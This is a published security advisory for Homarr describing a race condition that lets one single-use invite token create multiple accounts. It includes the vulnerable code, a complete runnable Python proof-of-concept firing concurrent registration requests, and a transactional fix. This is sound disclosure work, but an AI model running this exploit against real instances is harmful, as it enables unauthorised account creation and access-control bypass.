Skip to content

Race Condition in Invite Token Registration (TOCTOU)

Moderate
Meierschlumpf published GHSA-vfw3-53q9-2hp8 Apr 3, 2026

Package

ghcr.io/homarr-labs/homarr (Docker image)

Affected versions

<= 1.56.1

Patched versions

>= 1.57.0

Description

Summary

The user registration endpoint (/api/trpc/user.register) is vulnerable to a race condition that allows an attacker to create multiple user accounts from a single-use invite token.

The registration flow performs three sequential database operations without a transaction:

  1. CHECK — Validates the invite token exists and is not expired
  2. CREATE — Creates the new user account
  3. DELETE — Deletes the invite token

Because these operations are not atomic, concurrent requests can all pass the validation step (1) before any of them reaches the deletion step (3). This allows multiple accounts to be registered using a single invite token that was intended to be single-use.

Affected Code

File: packages/api/src/router/user.ts — Lines 70-97

register: publicProcedure
  .input(userRegistrationApiSchema)
  .output(z.void())
  .mutation(async ({ ctx, input }) => {
    throwIfCredentialsDisabled();

    // STEP 1: CHECK — All concurrent requests pass this before any deletes
    const inviteWhere = and(eq(invites.id, input.inviteId), eq(invites.token, input.token));
    const dbInvite = await ctx.db.query.invites.findFirst({
      columns: { id: true, expirationDate: true },
      where: inviteWhere,
    });

    if (!dbInvite || dbInvite.expirationDate < new Date()) {
      throw new TRPCError({ code: "FORBIDDEN", message: "Invalid invite" });
    }

    // STEP 2: CREATE — Multiple users created during the race window
    await checkUsernameAlreadyTakenAndThrowAsync(ctx.db, "credentials", input.username);
    await createUserAsync(ctx.db, input);

    // STEP 3: DELETE — By this point, other requests already passed step 1
    await ctx.db.delete(invites).where(inviteWhere);
  }),

Steps to Reproduce

Prerequisites

  • A running Homarr instance (<= 1.55.0)
  • A valid invite link (format: http://HOST/auth/invite/INVITE_ID/TOKEN)

Reproduction

1. An admin creates a single-use invite token through the Homarr UI or API.

2. The attacker runs the PoC exploit with the invite token:

python3 exploit-race-condition.py http://TARGET:7575 INVITE_ID INVITE_TOKEN --users 20

3. The exploit sends 20 concurrent registration requests using asyncio.Barrier synchronization so all requests fire at the same instant.

4. Result: 6 out of 20 accounts are successfully created from a single invite token.

Evidence

image

Exploit (PoC)

File: exploit-race-condition.py

Requirements: Python 3.11+, aiohttp (pip3 install aiohttp)

#!/usr/bin/env python3

import argparse
import asyncio
import json
import sys
import time
import urllib.request

try:
    import aiohttp
except ImportError:
    print("[!] pip3 install aiohttp")
    sys.exit(1)

DEFAULT_USERS     = 20
DEFAULT_PREFIX    = "raceuser"
DEFAULT_PASSWORD  = "Exploit1@RaceCondition"
REGISTER_ENDPOINT = "/api/trpc/user.register"


async def register_user(session, url, invite_id, invite_token, username, password, semaphore):
    payload = {
        "json": {
            "username":        username,
            "password":        password,
            "confirmPassword": password,
            "inviteId":        invite_id,
            "token":           invite_token,
        }
    }
    async with semaphore:
        t0 = time.monotonic()
        try:
            async with session.post(
                f"{url.rstrip('/')}{REGISTER_ENDPOINT}",
                json=payload,
                timeout=aiohttp.ClientTimeout(total=15),
            ) as resp:
                body = await resp.text()
                elapsed = time.monotonic() - t0
                try:
                    data = json.loads(body)
                except json.JSONDecodeError:
                    data = {"raw": body[:200]}
                return {
                    "username": username,
                    "success":  "result" in data and "error" not in data,
                    "elapsed":  round(elapsed, 3),
                    "detail":   data,
                }
        except Exception as e:
            return {
                "username": username,
                "success":  False,
                "elapsed":  round(time.monotonic() - t0, 3),
                "detail":   {"error": str(e)},
            }


async def run_exploit(url, invite_id, invite_token, num_users, prefix, password, concurrency):
    barrier   = asyncio.Barrier(num_users)
    semaphore = asyncio.Semaphore(concurrency)
    pad       = max(4, len(str(num_users)))
    usernames = [f"{prefix}{str(i).zfill(pad)}" for i in range(1, num_users + 1)]

    async def _race(session, uname):
        await barrier.wait()
        return await register_user(session, url, invite_id, invite_token, uname, password, semaphore)

    connector = aiohttp.TCPConnector(limit=0, limit_per_host=0)
    async with aiohttp.ClientSession(connector=connector) as session:
        return list(await asyncio.gather(*[_race(session, u) for u in usernames]))


def parse_invite_url(value):
    if "/auth/invite/" in value:
        parts = value.rstrip("/").split("/auth/invite/")
        if len(parts) == 2:
            segments = parts[1].split("/")
            if len(segments) == 2:
                return segments[0], segments[1]
    return None


def main():
    print(" Race Condition PoC — Invite Token Single-Use Bypass")
    print(" CWE-367 | Homarr <= 1.55.0\n")

    parser = argparse.ArgumentParser()
    parser.add_argument("target",  help="Homarr base URL")
    parser.add_argument("invite",  help="Invite ID or full invite URL")
    parser.add_argument("token",   nargs="?", default=None, help="Invite token")
    parser.add_argument("-n", "--users",       type=int, default=DEFAULT_USERS)
    parser.add_argument("--prefix",            default=DEFAULT_PREFIX)
    parser.add_argument("--password",          default=DEFAULT_PASSWORD)
    parser.add_argument("-c", "--concurrency", type=int, default=100)
    args = parser.parse_args()

    parsed = parse_invite_url(args.invite)
    if parsed:
        invite_id, invite_token = parsed
    elif args.token:
        invite_id, invite_token = args.invite, args.token
    else:
        parser.error("Provide a full invite URL or both invite_id and token")

    target = args.target.rstrip("/")

    print(f"  Target:       {target}")
    print(f"  Invite ID:    {invite_id}")
    print(f"  Invite Token: {invite_token[:8]}...{invite_token[-4:]}")
    print(f"  Users:        {args.users}")
    print(f"  Prefix:       {args.prefix}")
    print(f"  Password:     {args.password[:4]}{'*' * (len(args.password) - 4)}")
    print(f"  Concurrency:  {args.concurrency}")
    print()

    print(f"[*] Preflight — checking target is reachable...")
    try:
        r = urllib.request.urlopen(f"{target}/api/health/live", timeout=5)
        health = json.loads(r.read())
        if health.get("status") == "healthy":
            print("[+] Target is healthy\n")
        else:
            print(f"[!] Target responded but status={health.get('status')}\n")
    except Exception as e:
        print(f"[!] Cannot reach target: {e}")
        sys.exit(1)

    print(f"[*] Launching {args.users} concurrent registration requests...")
    print(f"    All requests will fire at the same instant (barrier sync)\n")

    t_start = time.monotonic()
    results = asyncio.run(run_exploit(
        target, invite_id, invite_token,
        args.users, args.prefix, args.password, args.concurrency,
    ))
    t_total = time.monotonic() - t_start

    success = [r for r in results if r["success"]]
    failed  = [r for r in results if not r["success"]]

    print("=" * 60)
    print(f"  RESULTS  ({t_total:.2f}s total)")
    print("=" * 60)

    for r in sorted(results, key=lambda x: x["username"]):
        icon   = "+" if r["success"] else "-"
        status = "CREATED" if r["success"] else "BLOCKED"
        err    = ""
        if not r["success"]:
            detail = r.get("detail", {})
            if "error" in detail:
                err_json = detail["error"].get("json", {})
                err = f' — {err_json.get("message", str(detail)[:60])}'
        print(f"  [{icon}] {r['username']:20s}  {status:8s}  ({r['elapsed']:.3f}s){err}")

    print()
    print(f"  Successful registrations: {len(success)} / {args.users}")
    print(f"  Blocked (invite deleted): {len(failed)} / {args.users}")
    print()


if __name__ == "__main__":
    sys.exit(main())

Impact

  • Access control bypass: A single invite token intended for one user can create multiple unauthorized accounts.
  • Unauthorized access: All created accounts are fully functional with valid credentials and can access the application.
  • Abuse at scale: An attacker who intercepts or obtains a single invite link can create an arbitrary number of accounts by repeating the exploit with different usernames.
  • Persistence: Even if the administrator detects and removes one rogue account, the remaining accounts persist undetected.

Suggested Fix

Wrap the check, create, and delete operations in a single database transaction, and delete the invite before creating the user:

register: publicProcedure
  .input(userRegistrationApiSchema)
  .output(z.void())
  .mutation(async ({ ctx, input }) => {
    throwIfCredentialsDisabled();

    await ctx.db.transaction(async (tx) => {
      const inviteWhere = and(eq(invites.id, input.inviteId), eq(invites.token, input.token));
      const dbInvite = await tx.query.invites.findFirst({
        columns: { id: true, expirationDate: true },
        where: inviteWhere,
      });

      if (!dbInvite || dbInvite.expirationDate < new Date()) {
        throw new TRPCError({ code: "FORBIDDEN", message: "Invalid invite" });
      }

      // Delete FIRST to prevent race condition
      const deleted = await tx.delete(invites).where(inviteWhere);
      if (deleted.rowsAffected === 0) {
        throw new TRPCError({ code: "FORBIDDEN", message: "Invalid invite" });
      }

      await checkUsernameAlreadyTakenAndThrowAsync(tx, "credentials", input.username);
      await createUserAsync(tx, input);
    });
  }),

Credits

Omar Ramirez

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-32602

Weaknesses

Time-of-check Time-of-use (TOCTOU) Race Condition

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. Learn more on MITRE.

Credits